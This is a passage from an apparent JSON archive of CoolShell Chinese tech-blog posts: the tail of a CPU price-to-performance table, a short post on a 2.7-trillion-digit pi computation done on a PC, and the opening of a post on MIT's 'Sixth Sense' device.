21.3 |\n| [Dual-Core AMD Opteron 1216](http://www.newegg.com/Product/Product.aspx?Item=N82E16819105259) | [1169](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Dual-Core+AMD+Opteron+1216) | [55.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819105259) | 20.9 |\n| [AMD Phenom 9350e Quad-Core](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103293) | [2296](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+9350e+Quad-Core) | [109.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103293) | 20.9 |\n| [AMD Athlon 5000 Dual-Core](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103716) | [1376](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+5000+Dual-Core) | [65.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103716) | 20.9 |\n| [AMD Phenom II X4 945](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103675) | [3403](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X4+945) | [165.00](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103675) | 20.6 |\n| [AMD Phenom 8250e Triple-Core](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103709) | [1531](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+8250e+Triple-Core) | [75.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103709) | 20.2 |\n| [AMD Phenom 8600B Triple-Core](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103269) | [1864](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+8600B+Triple-Core) | [92.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103269) | 20.1 |\n| [Intel Core i7 860 @ 2.80GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115214) | [5565](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i7+860+%40+2.80GHz) | [279.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115214) | 19.9 |\n| [Pentium Dual-Core E5400 @ 2.70GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819116076) | [1754](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Pentium+Dual-Core+E5400+%40+2.70GHz) | [89.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819116076) | 19.5 |\n| [Intel Core2 Quad Q9400 @ 2.66GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115131) | [3678](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Quad+Q9400+%40+2.66GHz) | [189.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115131) | 19.4 |\n| [Intel Core i7 920 @ 2.67GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115202) | [5452](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i7+920+%40+2.67GHz) | [288.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115202) | 18.9 |\n| [AMD Athlon 64 X2 Dual Core 5200+](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103210) | [1374](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+64+X2+Dual+Core+5200%2B) | [73.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103210) | 18.6 |\n| [AMD Phenom II X3 710](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103648) | [2201](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X3+710) | [119.00](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103648) | 18.5 |\n| [AMD Phenom II X2 550](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103680) | [1834](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X2+550) | [99.00](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103680) | 18.5 |\n| [AMD Phenom II X2 545](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103694) | [1722](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X2+545) | [93.98](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103694) | 18.3 |\n| [AMD Phenom II X3 720](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103649) | [2525](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X3+720) | [140.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103649) | 17.9 |\n| [AMD Athlon 64 X2 Dual Core 5400+](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103769) | [1443](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+64+X2+Dual+Core+5400%2B) | [81.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103769) | 17.6 |\n| [AMD Sempron LE-1250](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103189) | [550](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Sempron+LE-1250) | [31.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103189) | 17.2 |\n| [AMD Phenom II X3 705e](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103683) | [2324](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X3+705e) | [134.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103683) | 17.2 |\n| [Dual-Core AMD Opteron 1220](http://www.newegg.com/Product/Product.aspx?Item=N82E16819105134) | [1443](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Dual-Core+AMD+Opteron+1220) | [85.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819105134) | 16.8 |\n| [Intel Core2 Quad Q9550 @ 2.83GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115041) | [4178](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Quad+Q9550+%40+2.83GHz) | [249.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115041) | 16.7 |\n| [Intel Core2 Quad Q9505 @ 2.83GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115060) | [3810](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Quad+Q9505+%40+2.83GHz) | [229.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115060) | 16.6 |\n| [Dual-Core AMD Opteron 1218](http://www.newegg.com/Product/Product.aspx?Item=N82E16819105261) | [1094](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Dual-Core+AMD+Opteron+1218) | [65.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819105261) | 16.6 |\n| [Intel Core2 Duo E7500 @ 2.93GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115056) | [1947](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+E7500+%40+2.93GHz) | [119.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115056) | 16.2 |\n| [Intel Celeron E1600 @ 2.40GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819116092) | [1007](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Celeron+E1600+%40+2.40GHz) | [61.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819116092) | 16.2 |\n| [Intel Core2 Duo E7400 @ 2.80GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115206) | [1864](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+E7400+%40+2.80GHz) | [117.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115206) | 15.8 |\n| [AMD Phenom II X4 905e](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103682) | [2789](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X4+905e) | [184.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103682) | 15.1 |\n| [Intel Xeon X3220 @ 2.40GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117127) | [2961](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X3220+%40+2.40GHz) | [199.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117127) | 14.8 |\n| [Intel Xeon X3360 @ 2.83GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117166) | [4277](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X3360+%40+2.83GHz) | [299.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117166) | 14.3 |\n| [Intel Core2 Duo E7600 @ 3.06GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115059) | [2010](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+E7600+%40+3.06GHz) | [144.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115059) | 13.9 |\n| [Intel Core2 Quad Q9650 @ 3.00GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115130) | [4456](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Quad+Q9650+%40+3.00GHz) | [324.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115130) | 13.7 |\n| [Intel Celeron 430 @ 1.80GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819116039) | [530](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Celeron+430+%40+1.80GHz) | [39.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819116039) | 13.3 |\n| [Intel Xeon X3370 @ 3.00GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117173) | [4629](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X3370+%40+3.00GHz) | [349.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117173) | 13.2 |\n| [Intel Xeon X3230 @ 2.66GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117155) | [3755](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X3230+%40+2.66GHz) | [289.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117155) | 13 |\n| [Intel Xeon E5506 @ 2.13GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117186) | [3507](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5506+%40+2.13GHz) | [269.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117186) | 13 |\n| [Intel Xeon E5405 @ 2.00GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117151) | [2993](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5405+%40+2.00GHz) | [229.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117151) | 13 |\n| [Intel Xeon E5504 @ 2.00GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117187) | [3098](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5504+%40+2.00GHz) | [239.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117187) | 12.9 |\n| [Intel Xeon E5410 @ 2.33GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117150) | [3750](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5410+%40+2.33GHz) | [289.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117150) | 12.9 |\n| [Intel Core2 Duo E8400 @ 3.00GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115037) | [2164](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+E8400+%40+3.00GHz) | [167.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115037) | 12.9 |\n| [AMD Phenom 9500 Quad-Core](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103226) | [2250](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+9500+Quad-Core) | [175.00](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103226) | 12.9 |\n| [AMD Sempron LE-1300](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103188) | [582](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Sempron+LE-1300) | [45.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103188) | 12.7 |\n| [Intel Xeon E3110 @ 3.00GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117165) | [2269](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E3110+%40+3.00GHz) | [179.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117165) | 12.6 |\n| [Intel Core2 Duo E8500 @ 3.16GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115036) | [2308](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+E8500+%40+3.16GHz) | [189.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115036) | 12.2 |\n| [Intel Core i7 940 @ 2.93GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115201) | [6116](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i7+940+%40+2.93GHz) | [499.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115201) | 12.2 |\n| [Intel Core i7 870 @ 2.93GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115213) | [6184](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i7+870+%40+2.93GHz) | [539.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115213) | 11.5 |\n| [Intel Core i7 960 @ 3.20GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115216) | [6530](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i7+960+%40+3.20GHz) | [589.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115216) | 11.1 |\n| [Intel Core i7 950 @ 3.07GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115211) | [6299](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i7+950+%40+3.07GHz) | [569.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115211) | 11.1 |\n| [Intel Xeon E5420 @ 2.50GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117148) | [3733](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5420+%40+2.50GHz) | [349.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117148) | 10.7 |\n| [Intel Xeon E5520 @ 2.27GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117185) | [3960](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5520+%40+2.27GHz) | [384.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117185) | 10.3 |\n| [Intel Xeon E5430 @ 2.66GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117145) | [4485](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5430+%40+2.66GHz) | [499.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117145) | 9 |\n| [Intel Core2 Duo E8600 @ 3.33GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115054) | [2469](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+E8600+%40+3.33GHz) | [279.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115054) | 8.8 |\n| [Intel Core i7 720QM @ 1.60GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819111015) | [3353](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i7+720QM+%40+1.60GHz) | [379.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819111015) | 8.8 |\n| [Intel Core2 Quad Q9000 @ 2.00GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819111011) | [2991](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Quad+Q9000+%40+2.00GHz) | [364.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819111011) | 8.2 |\n| [Intel Xeon E5502 @ 1.87GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117188) | [1602](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5502+%40+1.87GHz) | [199.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117188) | 8 |\n| [Intel Core2 Duo P8700 @ 2.53GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819111013) | [1760](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+P8700+%40+2.53GHz) | [219.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819111013) | 8 |\n| [Intel Core2 Duo P8800 @ 2.66GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819111014) | [1923](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+P8800+%40+2.66GHz) | [249.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819111014) | 7.7 |\n| [Intel Xeon E5530 @ 2.40GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117184) | [4290](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5530+%40+2.40GHz) | [569.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117184) | 7.5 |\n| [Intel Core2 Duo P8600 @ 2.40GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819111009) | [1593](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+P8600+%40+2.40GHz) | [219.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819111009) | 7.2 |\n| [Intel Core i7 975 @ 3.33GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115212) | [6931](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i7+975+%40+3.33GHz) | [969.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115212) | 7.2 |\n| [Intel Core2 Duo P8400 @ 2.26GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819111010) | [1512](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+P8400+%40+2.26GHz) | [214.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819111010) | 7 |\n| [Intel Xeon W3570 @ 3.20GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117211) | [7166](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+W3570+%40+3.20GHz) | [1069.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117211) | 6.7 |\n| [Intel Xeon E5440 @ 2.83GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117144) | [4589](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5440+%40+2.83GHz) | [739.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117144) | 6.2 |\n| [AMD Sempron 2200+](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103826) | [319](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Sempron+2200%2B) | [51.98](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103826) | 6.1 |\n| [Intel Core2 Duo T9550 @ 2.66GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819111012) | [1898](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+T9550+%40+2.66GHz) | [319.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819111012) | 5.9 |\n| [Intel Core2 Duo T9600 @ 2.80GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819111006) | [1987](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+T9600+%40+2.80GHz) | [339.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819111006) | 5.8 |\n| [Intel Xeon E5540 @ 2.53GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117183) | [4467](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5540+%40+2.53GHz) | [779.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117183) | 5.7 |\n| [Intel Xeon W5590 @ 3.33GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117214) | [8597](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+W5590+%40+3.33GHz) | [1689.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117214) | 5.1 |\n| [Intel Core2 Duo T9400 @ 2.53GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819111008) | [1710](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+T9400+%40+2.53GHz) | [335.98](http://www.newegg.com/Product/Product.aspx?Item=N82E16819111008) | 5.1 |\n| [Intel Core2 Duo T7500 @ 2.20GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819111317) | [1239](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+T7500+%40+2.20GHz) | [249.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819111317) | 5 |\n| [Intel Core2 Duo P9500 @ 2.53GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819111007) | [1758](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+P9500+%40+2.53GHz) | [369.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819111007) | 4.8 |\n| [Intel Xeon X5450 @ 3.00GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117140) | [4409](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X5450+%40+3.00GHz) | [939.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117140) | 4.7 |\n| [Intel Xeon E5450 @ 3.00GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117141) | [4583](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5450+%40+3.00GHz) | [986.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117141) | 4.6 |\n| [Intel Xeon X5550 @ 2.67GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117182) | [4424](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X5550+%40+2.67GHz) | [999.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117182) | 4.4 |\n| [Intel Xeon X5460 @ 3.16GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117138) | [5008](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X5460+%40+3.16GHz) | [1249.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117138) | 4 |\n| [Intel Xeon X5560 @ 2.80GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117181) | [4900](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X5560+%40+2.80GHz) | [1249.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117181) | 3.9 |\n| [Intel Xeon W5580 @ 3.20GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117179) | [6293](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+W5580+%40+3.20GHz) | [1679.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117179) | 3.8 |\n| [Intel Xeon X5570 @ 2.93GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117180) | [5390](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X5570+%40+2.93GHz) | [1439.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819117180) | 3.7 |\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![与程序员相关的CPU缓存知识](../wp-content/uploads/2020/03/cpu_512x512-150x150.png)](https://coolshell.cn/articles/20793.html)[与程序员相关的CPU缓存知识](https://coolshell.cn/articles/20793.html)\n* [![7个示例科普CPU Cache](../wp-content/uploads/2013/07/image6-150x150.png)](https://coolshell.cn/articles/10249.html)[7个示例科普CPU Cache](https://coolshell.cn/articles/10249.html)\n* [![一些非常不错的资料](../wp-content/uploads/2010/10/Intel-Recommended-Books-for-Developers-150x150.jpg)](https://coolshell.cn/articles/3192.html)[一些非常不错的资料](https://coolshell.cn/articles/3192.html)\n* [![编程语言汽车](../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg)](https://coolshell.cn/articles/1839.html)[编程语言汽车](https://coolshell.cn/articles/1839.html)\n* [![Javascript的两本书](../wp-content/uploads/2009/10/javascript-150x150.jpg)](https://coolshell.cn/articles/1608.html)[Javascript的两本书](https://coolshell.cn/articles/1608.html)\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\nThe post [CPU的性价比](https://coolshell.cn/articles/2039.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-1-8 PI小数点位数的新纪录.md",
    "content": "---\nlayout: post\ntitle: PI小数点位数的新纪录\ndate: 2010/1/8/ 0:28:48\nupdated: 2010/1/8/ 0:28:48\nstatus: publish\npublished: true\ntype: post\n---\n\nPI小数点后的位数据个数据的纪录被刷新了，被一台PC机刷新的。新的纪录把PI的小点数后面的位数整到了近2.7万亿位，太BT了。下面的链接是本次经录的通告：\n\n\n<http://bellard.org/pi/pi2700e9/announce.html>\n\n\n这个通告宣称：\n\n\n* PI后的小数点位数被计算到了2,699,999,990,000位。\n* 为了保存计算结果，一共花了，1137GB的硬盘空间。\n* 本次计算使用了价值2000欧元左右的PC机，CPU是Core i7 CPU at 2.93 GHz ，内存6GB，5个1.5TB的希捷硬盘。\n* 操作系统使用的是Linux  64 bit Red Hat Fedora 10 distribution，7.5TB的硬盘被做成了RAID-0阵列，使用了ext4文件系统。\n* 整个计算时间花了131天（4个半月），其中，103天用于计算PI的二进制结果，13天用于验证二进制结果，花了12天把二进制转成十进制，最后花了3天再验证了转换。\n* 上一次的记录是[2.577 万亿小数位](http://www.hpcs.is.tsukuba.ac.jp/~daisuke/pi.html)，于2009年8月17日创造。其使用了超过百万欧元的超级计算机（Appro Xtreme-X3 Server）。\n\n\n相关的技术细节请看这里：<http://bellard.org/pi/pi2700e9/pipcrecord.pdf>\n\n\n我想了想，算这个玩意花了多少度电，产生了多少废气，太不环保了。呵呵。\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/11235.html)[一个浮点数跨平台产生的问题](https://coolshell.cn/articles/11235.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/2688.html)[在Javascript里写Python](https://coolshell.cn/articles/2688.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/1561.html)[Google Maps API用法教程](https://coolshell.cn/articles/1561.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/2428.html)[如何管理并设计你的口令](https://coolshell.cn/articles/2428.html)\n* [![面试题：火车运煤问题](../wp-content/uploads/2009/07/Question-150x150.jpg)](https://coolshell.cn/articles/4429.html)[面试题：火车运煤问题](https://coolshell.cn/articles/4429.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/7126.html)[这到底是谁之错？](https://coolshell.cn/articles/7126.html)\nThe post [PI小数点位数的新纪录](https://coolshell.cn/articles/2043.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-1-9 “第六感装置”的惊人潜力.md",
    "content": "---\nlayout: post\ntitle: “第六感装置”的惊人潜力\ndate: 2010/1/9/ 4:10:9\nupdated: 2010/1/9/ 4:10:9\nstatus: publish\npublished: true\ntype: post\n---\n\n我们总是在于“现实生活”和“电脑的数字生活”中的差异，这两个世界难道不可以合并吗？美国MIT Media Lab（麻省理工学院媒体实验室）的天才学生普拉纳夫- (Prarnav Mistry)，发明了一项结合实体世界和虚拟世界的科技，令人惊喜，感叹创造力的惊人。下面是视频。翻译还OK。\n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员因为女孩而美丽！](../wp-content/uploads/2012/01/481px-Ada_Lovelace_1838-150x150.jpg)](https://coolshell.cn/articles/6346.html)[程序员因为女孩而美丽！](https://coolshell.cn/articles/6346.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/2964.html)[25个jQuery的编程小抄](https://coolshell.cn/articles/2964.html)\n* [![为什么敏捷方法能在软件开发中行之有效？](../wp-content/uploads/2010/07/Martin-Flower1-150x150.jpg)](https://coolshell.cn/articles/2622.html)[为什么敏捷方法能在软件开发中行之有效？](https://coolshell.cn/articles/2622.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/4844.html)[“另类” 设计模式](https://coolshell.cn/articles/4844.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg](https://coolshell.cn/articles/3716.html)[WordPress是怎么赢的？](https://coolshell.cn/articles/3716.html)\n* 